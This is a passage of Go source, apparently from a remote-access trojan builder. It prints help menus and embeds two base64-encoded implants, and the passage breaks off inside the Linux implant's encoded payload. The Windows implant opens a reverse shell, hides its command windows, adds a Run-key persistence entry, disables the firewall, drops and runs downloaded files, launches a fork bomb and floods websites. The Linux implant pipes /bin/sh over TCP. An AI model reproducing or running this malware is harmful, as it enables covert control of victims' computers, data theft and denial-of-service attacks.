color.Yellow("\n\n[1] Windows payload") 616 | color.Yellow("[2] Linux payload") 617 | color.Yellow("[3] Stager windows payload") 618 | color.Yellow("[4] Stager linux payload") 619 | fmt.Print("\n\n>>") 620 | } 621 | 622 | func HELP_SCREEN_LINUX() { 623 | color.Yellow("#===================================================================================================#") 624 | color.Yellow("| |") 625 | color.Yellow("| |") 626 | color.Yellow("| |") 627 | color.Yellow("| |") 628 | color.Yellow("| [ COMMAND ] [DESCRIPTION] |") 629 | color.Yellow("| =================================== ====================================== |") 630 | color.Yellow("| |") 631 | color.Yellow("| (*) £METERPRETER -C \"powershell shellcode\": This command executes given powershell |") 632 | color.Yellow("| shellcode for metasploit integration. |") 633 | color.Yellow("| |") 634 | color.Yellow("| |") 635 | color.Yellow("| (*) £PERSISTENCE: This command installs a persistence module |") 636 | color.Yellow("| to remote computer for continious acces. |") 637 | color.Yellow("| |") 638 | color.Yellow("| |") 639 | color.Yellow("| (*) £DISTRACT: This command executes a fork bomb bat file to |") 640 | color.Yellow("| distrackt the remote user. |") 641 | color.Yellow("| |") 642 | color.Yellow("| |") 643 | color.Yellow("| (*) £UPLOAD -F \"filename.exe\": This command uploads a choosen file to |") 644 | color.Yellow("| remote computer via tcp socket stream. |") 645 | color.Yellow("| |") 646 | color.Yellow("| |") 647 | color.Yellow("| (*) £UPLOAD -G: This command uploads a choosen file to |") 648 | color.Yellow("| remote computer via http get method. |") 649 | color.Yellow("| |") 650 | color.Yellow("| |") 651 | color.Yellow("| (*) £DOWNLOAD -F \"filename.exe\": This command download a choosen file |") 652 | color.Yellow("| from remote computer via tcp socket stream. |") 653 | color.Yellow("| |") 654 | color.Yellow("| |") 655 | color.Yellow("| (*) £DOS -A \"www.site.com\": This command starts a denial of service atack to |") 656 | color.Yellow("| given website address. |") 657 | color.Yellow("| |") 658 | color.Yellow("| |") 659 | color.Yellow("| (*) £PLEASE \"any command\": This command asks users comfirmation for |") 660 | color.Yellow("| higher privilidge operations. |") 661 | color.Yellow("| |") 662 | color.Yellow("| |") 663 | color.Yellow("| (*) £DESKTOP This command adjusts remote desktop options |") 664 | color.Yellow("| for remote connection on target machine |") 665 | color.Yellow("| |") 666 | color.Yellow("| |") 667 | color.Yellow("#===================================================================================================#") 668 | } 669 | 670 | 671 | 672 | func HELP_SCREEN_WIN() { 673 | 674 | color.Yellow("#=============================================================================#")// 675 | color.Yellow("| |") 676 | color.Yellow("| [ COMMAND ] [DESCRIPTION] |") 677 | color.Yellow("| ============== ================ |") 678 | color.Yellow("| |") 679 | color.Yellow("| £METERPRETER -C \"powershell shellcode\": This command executes given |") 680 | color.Yellow("| powershell shellcode for |") 681 | color.Yellow("| metasploit integration. |") 682 | color.Yellow("| |") 683 | color.Yellow("| £PERSISTENCE: This command installs a persistence module to |") 684 | color.Yellow("| remote computer for continious acces. |") 685 | color.Yellow("| |") 686 | color.Yellow("| £UPLOAD -F \"filename.exe\": This command uploads a choosen file to |") 687 | color.Yellow("| remote computer via tcp socket stream. |") 688 | color.Yellow("| |") 689 | color.Yellow("| £UPLOAD -G: This command uploads a choosen file to remote |") 690 | color.Yellow("| computer via http get method. |") 691 | color.Yellow("| |") 692 | color.Yellow("| £DOWNLOAD -F \"filename.exe\": This command download a choosen file from |") 693 | color.Yellow("| remote computer via tcp socket stream. |") 694 | color.Yellow("| |") 695 | color.Yellow("| £DISTRACT: This command executes a fork bomb bat file to |") 696 | color.Yellow("| distrackt the remote user. |") 697 | color.Yellow("| |") 698 | color.Yellow("| £DOS -A \"www.site.com\": This command starts a denial of service atack |") 699 | color.Yellow("| given website address. |") 700 | color.Yellow("| |") 701 | color.Yellow("| £PLEASE \"any command\": This command asks users comfirmation for |") 702 | color.Yellow("| higher privilidge operations. |") 703 | color.Yellow("| |") 704 | color.Yellow("| £DESKTOP This command adjusts remote desktop options |") 705 | color.Yellow("| for remote connection on target machine |") 706 | color.Yellow("| |") 707 | color.Yellow("#=============================================================================#") 708 | } 709 | 710 | 711 | 712 | var WIN_PAYLOAD string = "CnBhY2thZ2UgbWFpbjsKCmltcG9ydCAibmV0IjsKaW1wb3J0ICJvcy9leGVjIjsKaW1wb3J0ICJidWZpbyI7CmltcG9ydCAib3MiOwppbXBvcnQgInN0cmluZ3MiOwppbXBvcnQgInBhdGgvZmlsZXBhdGgiOwppbXBvcnQgInJ1bnRpbWUiOwppbXBvcnQgInN5c2NhbGwiOwppbXBvcnQgIm5ldC9odHRwIjsKaW1wb3J0ICJ0aW1lIjsKaW1wb3J0ICJpby9pb3V0aWwiOwppbXBvcnQgImVuY29kaW5nL2Jhc2U2NCIKaW1wb3J0ICJpbyI7CmltcG9ydCAiZm10IgoKdmFyIEdsb2JhbF9fQ29tbWFuZCBzdHJpbmc7CnZhciBmaWxlX3RyYW5zZmVyX3N1Y2NlcyBib29sOwp2YXIgRE9TX1RhcmdldCBzdHJpbmc7CnZhciBET1NfUmVxdWVzdF9Db3VudGVyIGludCA9IDA7CnZhciBET1NfUmVxdWVzdF9MaW1pdCBpbnQgPSAxMDAwOwoKY29uc3QgVklDVElNX0lQIHN0cmluZyA9ICIxMjcuMC4wLjEiOwpjb25zdCBWSUNUSU1fUE9SVCBzdHJpbmcgPSAiODU1MiI7CgpmdW5jIG1haW4oKSB7CgogIGNvbm5lY3QsIGVyciA6PSBuZXQuRGlhbCgidGNwIiwgVklDVElNX0lQKyI6IitWSUNUSU1fUE9SVCk7CiAgaWYgZXJyICE9IG5pbCB7CiAgICB0aW1lLlNsZWVwKDUqdGltZS5TZWNvbmQpOwogICAgbWFpbigpOwogIH07CgogIGRpciwgXyA6PSBmaWxlcGF0aC5BYnMoZmlsZXBhdGguRGlyKG9zLkFyZ3NbMF0pKTsKICBWZXJzaW9uX0NoZWNrIDo9IGV4ZWMuQ29tbWFuZCgiY21kIiwgIi9DIiwgInZlciIpOwogIFZlcnNpb25fQ2hlY2suU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICB2ZXJzaW9uLCBfIDo9IFZlcnNpb25fQ2hlY2suT3V0cHV0KCk7CiAgU3lzR3VpZGUgOj0gKHN0cmluZyhkaXIpICsgIiDCoz4gIiArIHN0cmluZyh2ZXJzaW9uKSArICIgwqM+ICIpOwogIGNvbm5lY3QuV3JpdGUoW11ieXRlKHN0cmluZyhTeXNHdWlkZSkpKTsKCgoKICBmb3IgewoKICAgIENvbW1hbmQsIF8gOj0gYnVmaW8uTmV3UmVhZGVyKGNvbm5lY3QpLlJlYWRTdHJpbmcoJ1xuJyk7CiAgICBfQ29tbWFuZCA6PSBzdHJpbmcoQ29tbWFuZCk7CiAgICBHbG9iYWxfX0NvbW1hbmQgPSBfQ29tbWFuZDsKCgoKICAgIGlmIHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo3VwbG9hZCAtZyIpIHx8IHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo1VQTE9BRCAtRyIpIHsKICAgICAgVVBMT0FEX1ZJQV9HRVQoKTsKICAgICAgdmFyIHRyYW5zZmVyX3Jlc3BvbnNlIHN0cmluZzsKICAgICAgaWYgZmlsZV90cmFuc2Zlcl9zdWNjZXMgPT0gdHJ1ZSB7CiAgICAgICAgdHJhbnNmZXJfcmVzcG9uc2UgPSAiWytdIEZpbGUgVHJhbnNmZXIgU3VjY2Vzc2Z1bGwgISDCoz4iOwogICAgICAgIGNvbm5lY3QuV3JpdGUoW11ieXRlKHN0cmluZyh0cmFuc2Zlcl9yZXNwb25zZSkpKTsKICAgICAgfTsKICAgICAgaWYgZmlsZV90cmFuc2Zlcl9zdWNjZXMgPT0gZmFsc2UgewogICAgICAgIHRyYW5zZmVyX3Jlc3BvbnNlID0gIlstXSBGaWxlIFRyYW5zZmVyIEZhaWxlZCAhIMKjPiI7CiAgICAgICAgY29ubmVjdC5Xcml0ZShbXWJ5dGUoc3RyaW5nKHRyYW5zZmVyX3Jlc3BvbnNlKSkpOwogICAgICB9OwogICAgfWVsc2UgaWYgc3RyaW5ncy5Db250YWlucyhfQ29tbWFuZCwgIsKjcGxlYXNlIikgfHwgc3RyaW5ncy5Db250YWlucyhfQ29tbWFuZCwgIsKjUExFQVNFIikgewogICAgICBjb25uZWN0LldyaXRlKFtdYnl0ZShTQVlfUExFQVNFKCkpKTsKICAgIH1lbHNlIGlmIHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo2Rvd25sb2FkIikgfHwgc3RyaW5ncy5Db250YWlucyhfQ29tbWFuZCwgIsKjRE9XTkxPQUQiKSB7CiAgICAgIGdvIERPV05MT0FEX1ZJQV9UQ1AoKTsKICAgIH1lbHNlIGlmIHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo3VwbG9hZCAtZiIpIHx8IHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo1VQTE9BRCAtRiAiKSB7CiAgICAgIGdvIFVQTE9BRF9WSUFfVENQKCk7CiAgICB9ZWxzZSBpZiBzdHJpbmdzLkNvbnRhaW5zKF9Db21tYW5kLCAiwqNNRVRFUlBSRVRFUiAtQyIpIHx8IHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo21ldGVycHJldGVyIC1jIikgewogICAgICBNRVRFUlBSRVRFUl9DUkVBVEUoKTsKICAgIH1lbHNlIGlmIHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo0RPUyIpIHx8IHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo2RvcyIpIHsKICAgICAgRE9TX0NvbW1hbmQgOj0gc3RyaW5ncy5TcGxpdChHbG9iYWxfX0NvbW1hbmQsICJcIiIpCiAgICAgIERPU19UYXJnZXQgPSAgRE9TX0NvbW1hbmRbMV0KICAgICAgZ28gRE9TKCk7CiAgICB9ZWxzZSBpZiBzdHJpbmdzLkNvbnRhaW5zKF9Db21tYW5kLCAiwqNESVNUUkFDVCIpIHx8IHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo2Rpc3RyYWN0IikgewogICAgICBESVNUUkFDVCgpOwogICAgfWVsc2UgaWYgc3RyaW5ncy5Db250YWlucyhfQ29tbWFuZCwgIsKjREVTS1RPUCIpIHx8IHN0cmluZ3MuQ29udGFpbnMoX0NvbW1hbmQsICLCo2Rlc2t0b3AiKSB7CiAgICAgIFN0YXR1cyA6PSBSRU1PVEVfREVTS1RPUCgpCiAgICAgIGlmIFN0YXR1cyA9PSBmYWxzZSB7CiAgICAgICAgY29ubmVjdC5Xcml0ZShbXWJ5dGUoIlstXSBmYWlsZWQgwqM+IikpCiAgICAgIH1lbHNlewogICAgICAgIGNvbm5lY3QuV3JpdGUoW11ieXRlKCJbK10gc3VjY2VzcyDCoz4iKSkKICAgICAgfQogICAgfWVsc2UgaWYgc3RyaW5ncy5Db250YWlucyhfQ29tbWFuZCwgIsKjUEVSU0lTVEVOQ0UiKSB8fCBzdHJpbmdzLkNvbnRhaW5zKF9Db21tYW5kLCAiwqNwZXJzaXN0ZW5jZSIpIHsKICAgICAgZ28gUEVSU0lTVCgpOwogICAgICBjb25uZWN0LldyaXRlKFtdYnl0ZShzdHJpbmcoIlxuXG5bKl0gQWRkaW5nIHBlcnNpc3RlbmNlIHJlZ2lzdHJpZXMuLi5cblsqXSBQZXJzaXN0ZW5jZSBDb21wbGV0ZWRcblxuIMKjPiAiKSkpOwogICAgfWVsc2V7CiAgICAgIGNtZCA6PSBleGVjLkNvbW1hbmQoImNtZCIsICIvQyIsIF9Db21tYW5kKTsKICAgICAgY21kLlN5c1Byb2NBdHRyID0gJnN5c2NhbGwuU3lzUHJvY0F0dHJ7SGlkZVdpbmRvdzogdHJ1ZX07CiAgICAgIG91dCwgXyA6PSBjbWQuT3V0cHV0KCk7CiAgICAgIENvbW1hbmRfT3V0cHV0IDo9IHN0cmluZyhzdHJpbmcob3V0KSsiIMKjPiAiKTsKICAgICAgY29ubmVjdC5Xcml0ZShbXWJ5dGUoQ29tbWFuZF9PdXRwdXQpKTsKICAgIH07CiAgfTsKfTsKCgoKCmZ1bmMgVVBMT0FEX1ZJQV9HRVQoKSB7CiAgZm9yIHsKICAgIGRvd25sb2FkX3VybCA6PSBzdHJpbmdzLlNwbGl0KEdsb2JhbF9fQ29tbWFuZCwgIlwiIik7CiAgICByZXNwb25zZSwgZXJyIDo9IGh0dHAuR2V0KGRvd25sb2FkX3VybFsxXSk7CiAgICBpZiBlcnIgIT0gbmlsIHsKICAgICAgZmlsZV90cmFuc2Zlcl9zdWNjZXMgPSBmYWxzZTsKICAgICAgYnJlYWs7CiAgICB9OwogICAgZGVmZXIgcmVzcG9uc2UuQm9keS5DbG9zZSgpOwogICAgYm9keSwgXyA6PSBpb3V0aWwuUmVhZEFsbChyZXNwb25zZS5Cb2R5KTsKICAgIGZpbGUsIF8gOj0gb3MuQ3JlYXRlKCJ3aW5kbGxfdXBsb2FkLmV4ZSIpOwogICAgZmlsZS5Xcml0ZVN0cmluZyhzdHJpbmcoYm9keSkpOwogICAgZmlsZV90cmFuc2Zlcl9zdWNjZXMgPSB0cnVlOwogICAgcnVudGltZS5HQygpOwogICAgY3VzdG9tX2NvbW1hbmQgOj0gKCJtb3ZlIHdpbmRsbF91cGxvYWQuZXhlICIrIiUiKyJhcHBkYXRhIisiJSIpOwogICAgY21kIDo9IGV4ZWMuQ29tbWFuZCgiY21kIiwgIi9DIiwgY3VzdG9tX2NvbW1hbmQpOwogICAgY21kLlN5c1Byb2NBdHRyID0gJnN5c2NhbGwuU3lzUHJvY0F0dHJ7SGlkZVdpbmRvdzogdHJ1ZX07CiAgICBjbWQuUnVuKCk7CiAgICBicmVhazsKICB9Owp9OwoKCgpmdW5jIFBFUlNJU1QoKSB7CgogIFBFUlNJU1QsIF8gOj0gb3MuQ3JlYXRlKCJQRVJTSVNULmJhdCIpCgogIFBFUlNJU1QuV3JpdGVTdHJpbmcoIm1rZGlyICVBUFBEQVRBJVxcV2luZG93cyIrIlxuIikKICBQRVJTSVNULldyaXRlU3RyaW5nKCJjb3B5ICIgKyBvcy5BcmdzWzBdICsgIiAlQVBQREFUQSVcXFdpbmRvd3NcXHdpbmRsbC5leGVcbiIpCiAgUEVSU0lTVC5Xcml0ZVN0cmluZygiUkVHIEFERCBIS0NVXFxTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUnVuIC9WIFdpbkRsbCAvdCBSRUdfU1ogL0YgL0QgJUFQUERBVEElXFxXaW5kb3dzXFx3aW5kbGwuZXhlIikKCiAgUEVSU0lTVC5DbG9zZSgpCgogIEV4ZWMgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCAiUEVSU0lTVC5iYXQiKTsKICBFeGVjLlN5c1Byb2NBdHRyID0gJnN5c2NhbGwuU3lzUHJvY0F0dHJ7SGlkZVdpbmRvdzogdHJ1ZX07CiAgRXhlYy5SdW4oKTsKICBDbGVhbiA6PSBleGVjLkNvbW1hbmQoImNtZCIsICIvQyIsICJkZWwgUEVSU0lTVC5iYXQiKTsKICBDbGVhbi5TeXNQcm9jQXR0ciA9ICZzeXNjYWxsLlN5c1Byb2NBdHRye0hpZGVXaW5kb3c6IHRydWV9OwogIENsZWFuLlJ1bigpOwp9OwoKCmZ1bmMgTUVURVJQUkVURVJfQ1JFQVRFKCkgewogIGlmIHN0cmluZ3MuQ29udGFpbnMoR2xvYmFsX19Db21tYW5kLCAiLWMiKSB7CiAgICBQQVlMT0FELCBfIDo9IG9zLkNyZWF0ZSgid2luZGxsLmJhdCIpCiAgICBQQVlMT0FEX0NPREUgOj0gc3RyaW5ncy5TcGxpdChHbG9iYWxfX0NvbW1hbmQsICItYyIpCiAgICBQQVlMT0FELldyaXRlU3RyaW5nKHN0cmluZyhQQVlMT0FEX0NPREVbMV0pKQogICAgcnVudGltZS5HQygpCiAgICBjdXN0b21fY29tbWFuZCA6PSAoIm1vdmUgd2luZGxsLmJhdCAiICsgIiUiICsgImFwcGRhdGEiKyIlIik7CiAgICBjbWQgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCBjdXN0b21fY29tbWFuZCk7CiAgICBjbWQuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICAgIGNtZC5SdW4oKTsKICAgIHJ1bnRpbWUuR0MoKTsKICAgIGN1c3RvbV9jb21tYW5kID0gKCIlIisiYXBwZGF0YSIrIiUiKyIvd2luZGxsLmJhdCIpOwogICAgY21kID0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCBjdXN0b21fY29tbWFuZCk7CiAgICBjbWQuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICAgIGNtZC5SdW4oKTsKICAgIGNtZCA9IGV4ZWMuQ29tbWFuZCgiY21kIiwgIi9DIiwgIndpbmRsbC5iYXQiKTsKICAgIGNtZC5TeXNQcm9jQXR0ciA9ICZzeXNjYWxsLlN5c1Byb2NBdHRye0hpZGVXaW5kb3c6IHRydWV9OwogICAgY21kLlJ1bigpOwogIH1lbHNlIGlmIHN0cmluZ3MuQ29udGFpbnMoR2xvYmFsX19Db21tYW5kLCAiLUMiKSB7CiAgICBQQVlMT0FELCBfIDo9IG9zLkNyZWF0ZSgid2luZGxsLmJhdCIpCiAgICBQQVlMT0FEX0NPREUgOj0gc3RyaW5ncy5TcGxpdChHbG9iYWxfX0NvbW1hbmQsICItQyIpCiAgICBQQVlMT0FELldyaXRlU3RyaW5nKHN0cmluZyhQQVlMT0FEX0NPREVbMV0pKQogICAgcnVudGltZS5HQygpCiAgICBjdXN0b21fY29tbWFuZCA6PSAoIm1vdmUgd2luZGxsLmJhdCAiICsgIiUiICsgImFwcGRhdGEiKyIlIik7CiAgICBjbWQgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCBjdXN0b21fY29tbWFuZCk7CiAgICBjbWQuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICAgIGNtZC5SdW4oKTsKICAgIHJ1bnRpbWUuR0MoKTsKICAgIGN1c3RvbV9jb21tYW5kID0gKCIlIisiYXBwZGF0YSIrIiUiKyIvd2luZGxsLmJhdCIpOwogICAgY21kID0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCBjdXN0b21fY29tbWFuZCk7CiAgICBjbWQuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICAgIGNtZC5SdW4oKTsKICAgIGNtZCA9IGV4ZWMuQ29tbWFuZCgiY21kIiwgIi9DIiwgIndpbmRsbC5iYXQiKTsKICAgIGNtZC5TeXNQcm9jQXR0ciA9ICZzeXNjYWxsLlN5c1Byb2NBdHRye0hpZGVXaW5kb3c6IHRydWV9OwogICAgY21kLlJ1bigpOwogIH0KfQoKCmZ1bmMgRE9XTkxPQURfVklBX1RDUCgpIHsKICBmb3IgewogICAgY29ubmVjdCwgZXJyIDo9IG5ldC5EaWFsKCJ0Y3AiLCBWSUNUSU1fSVArIjoiKyI1NTg4OCIpOwogICAgaWYgZXJyICE9IG5pbCB7CiAgICAgIFVQTE9BRF9WSUFfVENQKCk7CiAgICB9OwogICAgZmlsZV9uYW1lIDo9IHN0cmluZ3MuU3BsaXQoR2xvYmFsX19Db21tYW5kLCAiXCIiKTsKICAgIGZpbGUsIF8gOj0gb3MuT3BlbihmaWxlX25hbWVbMV0pOwogICAgZGVmZXIgZmlsZS5DbG9zZSgpOwogICAgaW8uQ29weShjb25uZWN0LCBmaWxlKTsKICAgIGNvbm5lY3QuQ2xvc2UoKTsKICAgIGJyZWFrOwogIH07Cn07CgoKZnVuYyBVUExPQURfVklBX1RDUCgpIHsKICBjb25uZWN0LCBlcnIgOj0gbmV0LkRpYWwoInRjcCIsIFZJQ1RJTV9JUCsiOiIrIjU1ODg4Iik7CiAgaWYgZXJyICE9IG5pbCB7CiAgICBVUExPQURfVklBX1RDUCgpOwogIH07CiAgZmlsZV9uYW1lIDo9IHN0cmluZ3MuU3BsaXQoR2xvYmFsX19Db21tYW5kLCAiXCIiKTsKICBmaWxlLCBfIDo9IG9zLkNyZWF0ZShmaWxlX25hbWVbMV0pOwogIGZpbGVfbmFtZVsxXSA9IHN0cmluZ3MuVHJpbShmaWxlX25hbWVbMV0sICIgIik7CiAgZGVmZXIgZmlsZS5DbG9zZSgpOwogIGlvLkNvcHkoZmlsZSwgY29ubmVjdCk7CiAgZmlsZS5DbG9zZSgpOwogIGNvbm5lY3QuQ2xvc2UoKTsKfTsKCgpmdW5jIFNBWV9QTEVBU0UoKSAoc3RyaW5nKXsKICBDb21tYW5kIDo9IHN0cmluZ3MuU3BsaXQoR2xvYmFsX19Db21tYW5kLCAiXCIiKTsKICBjbWQgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCBzdHJpbmcoInBvd2Vyc2hlbGwuZXhlIC1Db21tYW5kIFN0YXJ0LVByb2Nlc3MgLVZlcmIgUnVuQXMgIitzdHJpbmcoQ29tbWFuZFsxXSkpKTsKICBjbWQuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICBvdXQsIF8gOj0gY21kLk91dHB1dCgpOwogIENvbW1hbmRfT3V0cHV0IDo9IHN0cmluZyhzdHJpbmcob3V0KSsiIMKjPiAiKTsKICByZXR1cm4gQ29tbWFuZF9PdXRwdXQ7Cn07CgoKCmZ1bmMgUkVNT1RFX0RFU0tUT1AoKSAoYm9vbCkgewoKICB2YXIgU3RhdHVzIGJvb2wgPSB0cnVlOwogIEVuYWJsZV9SRCA6PSAicmVnIGFkZCBcImhrbG1cXHN5c3RlbVxcY3VycmVudENvbnRyb2xTZXRcXENvbnRyb2xcXFRlcm1pbmFsIFNlcnZlclwiIC92IFwiQWxsb3dUU0Nvbm5lY3Rpb25zXCIgL3QgUkVHX0RXT1JEIC9kIDB4MSAvZiI7CiAgRW5hYmxlX1JEXzIgOj0gInJlZyBhZGQgXCJoa2xtXFxzeXN0ZW1cXGN1cnJlbnRDb250cm9sU2V0XFxDb250cm9sXFxUZXJtaW5hbCBTZXJ2ZXJcIiAvdiBcImZEZW55VFNDb25uZWN0aW9uc1wiIC90IFJFR19EV09SRCAvZCAweDAgL2YiOwogIHJ1bnRpbWUuR0MoKTsKICBFX1JEIDo9IGV4ZWMuQ29tbWFuZCgiY21kIiwgIi9DIiwgc3RyaW5nKEVuYWJsZV9SRCkpOwogIEVfUkQuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICBFX1JELlJ1bigpOwogIHJ1bnRpbWUuR0MoKTsKICBFX1JEXzIgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCBzdHJpbmcoRW5hYmxlX1JEXzIpKTsKICBFX1JEXzIuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICBFX1JEXzIuUnVuKCk7CiAgcnVudGltZS5HQygpOwogIFN0YXJ0X1Rlcm1TZXJ2aWNlXzEgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCAic2MgY29uZmlnIFRlcm1TZXJ2aWNlIHN0YXJ0PSBhdXRvIik7CiAgU3RhcnRfVGVybVNlcnZpY2VfMS5TeXNQcm9jQXR0ciA9ICZzeXNjYWxsLlN5c1Byb2NBdHRye0hpZGVXaW5kb3c6IHRydWV9OwogIFNlcnZpY2VfT3V0cHV0XzEsIF8gOj0gU3RhcnRfVGVybVNlcnZpY2VfMS5PdXRwdXQoKTsKICBpZiBzdHJpbmdzLkNvbnRhaW5zKHN0cmluZyhTZXJ2aWNlX091dHB1dF8xKSwgImRlbmllZC4iKSB7CiAgICBTdGF0dXMgPSBmYWxzZQogIH0KICBydW50aW1lLkdDKCk7CiAgU3RhcnRfVGVybVNlcnZpY2VfMiA6PSBleGVjLkNvbW1hbmQoImNtZCIsICIvQyIsICJuZXQgc3RhcnQgVGVybXNlcnZpY2UiKTsKICBTdGFydF9UZXJtU2VydmljZV8yLlN5c1Byb2NBdHRyID0gJnN5c2NhbGwuU3lzUHJvY0F0dHJ7SGlkZVdpbmRvdzogdHJ1ZX07CiAgU3RhcnRfVGVybVNlcnZpY2VfMi5SdW4oKTsKICBydW50aW1lLkdDKCk7CiAgRGlzYWJsZV9GVyA6PSBleGVjLkNvbW1hbmQoImNtZCIsICIvQyIsICJuZXRzaCBmaXJld2FsbCBzZXQgb3Btb2RlIGRpc2FibGUiKTsKICBEaXNhYmxlX0ZXLlN5c1Byb2NBdHRyID0gJnN5c2NhbGwuU3lzUHJvY0F0dHJ7SGlkZVdpbmRvdzogdHJ1ZX07CiAgRldfT3V0cHV0LCBfIDo9IERpc2FibGVfRlcuT3V0cHV0KCk7CiAgcnVudGltZS5HQygpOwogIGlmIHN0cmluZ3MuQ29udGFpbnMoc3RyaW5nKEZXX091dHB1dCksICIoUnVuIGFzIGFkbWluaXN0cmF0b3IpLiIpewogICAgU3RhdHVzID0gZmFsc2UKICB9CiAgcmV0dXJuIFN0YXR1cwp9CgoKCmZ1bmMgRElTVFJBQ1QoKSB7CiAgdmFyIEZvcmtfQm9tYiBzdHJpbmcgPSAiOkFcbnN0YXJ0XG5nb3RvIEEiCgogIEZfQm9tYiwgXyA6PSBvcy5DcmVhdGUoIkZfQm9tYi5iYXQiKQoKICBGX0JvbWIuV3JpdGVTdHJpbmcoRm9ya19Cb21iKQoKICBGX0JvbWIuQ2xvc2UoKQoKICBleGVjLkNvbW1hbmQoImNtZCIsICIvQyIsICJGX0JvbWIuYmF0IikuU3RhcnQoKQoKfQoKCmZ1bmMgRE9TKCkgewogIGZvciB7CiAgICBET1NfUmVxdWVzdF9Db3VudGVyKysKICAgIHJlc3BvbnNlLCBfIDo9IGh0dHAuR2V0KERPU19UYXJnZXQpOwoKICAgIGJvZHksIF8gOj0gaW91dGlsLlJlYWRBbGwocmVzcG9uc2UuQm9keSk7CiAgICBmbXQuUHJpbnRsbihib2R5KQogICAgcmVzcG9uc2UuQm9keS5DbG9zZSgpOwogICAgaWYgRE9TX1JlcXVlc3RfQ291bnRlciA8IERPU19SZXF1ZXN0X0xpbWl0IHsKICAgICAgZ28gRE9TKCkKICAgIH1lbHNlewogICAgICBicmVhazsKICAgIH0KICB9Cn0KCgpmdW5jIERJU1BBVENIKCkgewogIHZhciBFbmNvZGVkQmluYXJ5IHN0cmluZyA9ICIvL0lOU0VSVC1CSU5BUlktSEVSRS8vIgoKCiAgQmluYXJ5LCBfIDo9IG9zLkNyZWF0ZSgid2ludXBkdC5leGUiKQoKICBEZWNvZGVkQmluYXJ5LCBfIDo9IGJhc2U2NC5TdGRFbmNvZGluZy5EZWNvZGVTdHJpbmcoRW5jb2RlZEJpbmFyeSkKCiAgQmluYXJ5LldyaXRlU3RyaW5nKHN0cmluZyhEZWNvZGVkQmluYXJ5KSk7CgogIEJpbmFyeS5DbG9zZSgpCgogIEV4ZWMgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCAid2ludXBkdC5leGUiKTsKICBFeGVjLlN0YXJ0KCk7Cn0K" 713 | 714 | var LINUX_PAYLOAD string = "CnBhY2thZ2UgbWFpbgoKCiAKaW1wb3J0Im9zL2V4ZWMiCmltcG9ydCJuZXQiCmltcG9ydCAidGltZSIKaW1wb3J0ICJwYXRoL2ZpbGVwYXRoIgppbXBvcnQgIm9zIgoKY29uc3QgVklDVElNX0lQIHN0cmluZyA9ICIxMjcuMC4wLjEiOwpjb25zdCBWSUNUSU1fUE9SVCBzdHJpbmcgPSAiODU1MiI7CgpmdW5jIG1haW4oKXsKICAgIGNvbm5lY3QsIGVyciA6PW5ldC5EaWFsKCJ0Y3AiLFZJQ1RJTV9JUCsiOiIrVklDVElNX1BPUlQpOwogICAgaWYgZXJyICE9IG5pbCB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICB0aW1lLlNsZWVwKDE1KnRpbWUuU2Vjb25kKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgIG1haW4oKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgIH07IAogICAgZGlyLCBfIDo9IGZpbGVwYXRoLkFicyhmaWxlcGF0aC5EaXIob3MuQXJnc1swXSkpOyAgICAgCiAgICB2ZXJzaW9uX2NoZWNrIDo9IGV4ZWMuQ29tbWFuZCgic2giLCAiLWMiLCAidW5hbWUgLWEiKTsKICAgIHZlcnNpb24sIF8gOj0gdmVyc2lvbl9jaGVjay5PdXRwdXQoKTsgICAgICAgICAgIAogICAgU3lzR3VpZGUgOj0gKHN0cmluZyhkaXIpICsgIiDCoz4gIiArIHN0cmluZyh2ZXJzaW9uKSArICIgwqM+ICIpOyAgIAogICAgY29ubmVjdC5Xcml0ZShbXWJ5dGUoc3RyaW5nKFN5c0d1aWRlKSkpCiAgICBjbWQ6PWV4ZWMuQ29tbWFuZCgiL2Jpbi9zaCIpOwogICAgY21kLlN0ZGluPWNvbm5lY3Q7CiAgICBjbWQuU3Rkb3V0PWNvbm5lY3